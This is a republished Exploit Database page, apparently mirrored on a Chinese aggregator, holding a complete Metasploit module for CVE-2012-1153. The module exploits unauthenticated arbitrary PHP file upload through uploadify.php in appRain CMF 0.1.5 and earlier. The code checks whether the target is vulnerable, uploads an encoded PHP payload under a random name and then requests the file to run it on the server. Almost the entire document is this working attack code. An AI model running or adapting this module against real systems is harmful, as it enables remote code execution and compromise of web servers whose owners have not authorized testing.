appRain CMF – Arbitrary ‘.PHP’ File Upload (Metasploit)

• Exploit Database
• 25 阅读

• 作者： Metasploit
  日期： 2012-05-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18922/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "appRain CMF Arbitrary PHP File Upload Vulnerability",
  			'Description'=> %q{
  					This module exploits a vulnerability found in appRain's Content Management
  				Framework (CMF), version 0.1.5 or less.By abusing the uploadify.php file, a
  				malicious user can upload a file to the uploads/ directory without any
  				authentication, which results in arbitrary code execution.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'EgiX', #Discovery, PoC
  					'sinn3r'#Metasploit
  				],
  			'References' =>
  				[
  					['CVE', '2012-1153'],
  					['OSVDB', '78473'],
  					['EDB', '18392']
  				],
  			'Payload'=>
  				{
  					'BadChars' => "\x00"
  				},
  			'DefaultOptions'=>
  				{
  					'ExitFunction' => "none"
  				},
  			'Platform' => ['php'],
  			'Arch' => ARCH_PHP,
  			'Targets'=>
  				[
  					['appRain 0.1.5 or less', {}]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Jan 19 2012",
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					OptString.new('TARGETURI', [true, 'The base path to appRain', '/appRain-q-0.1.5'])
  				], self.class)
  	end
  
  	def check
  		uri = target_uri.path
  		uri << '/' if uri[-1,1] != '/'
  
  		res = send_request_cgi({
  			'method' => 'GET',
  			'uri'=> "#{uri}addons/uploadify/uploadify.php"
  		})
  
  		if res and res.code == 200 and res.body.empty?
  			return Exploit::CheckCode::Detected
  		else
  			return Exploit::CheckCode::Safe
  		end
  	end
  
  	def exploit
  		uri = target_uri.path
  		uri << '/' if uri[-1,1] != '/'
  
  		peer = "#{rhost}:#{rport}"
  		payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'
  
  		post_data = "--o0oOo0o\r\n"
  		post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
  		post_data << "<?php "
  		post_data << payload.encoded
  		post_data << " ?>\r\n"
  		post_data << "--o0oOo0o\r\n"
  
  		print_status("#{peer} - Sending PHP payload (#{payload_name})")
  		res = send_request_cgi({
  			'method' => 'POST',
  			'uri'=> "#{uri}addons/uploadify/uploadify.php",
  			'ctype'=> 'multipart/form-data; boundary=o0oOo0o',
  			'data' => post_data
  		})
  
  		# If the server returns 200 and the body contains our payload name,
  		# we assume we uploaded the malicious file successfully
  		if not res or res.code != 200 or res.body !~ /#{payload_name}/
  			print_error("#{peer} - I don't think the file was uploaded. Abort!")
  			return
  		end
  
  		print_status("#{peer} - Executing PHP payload (#{payload_name})")
  		# Execute our payload
  		res = send_request_cgi({
  			'method' => 'GET',
  			'uri'=> "#{uri}addons/uploadify/uploads/#{payload_name}"
  		})
  
  		# If we don't get a 200 when we request our malicious payload, we suspect
  		# we don't have a shell, either.Print the status code for debugging purposes.
  		if res and res.code != 200
  			print_status("#{peer} - Server returns #{res.code.to_s}")
  		end
  	end
  end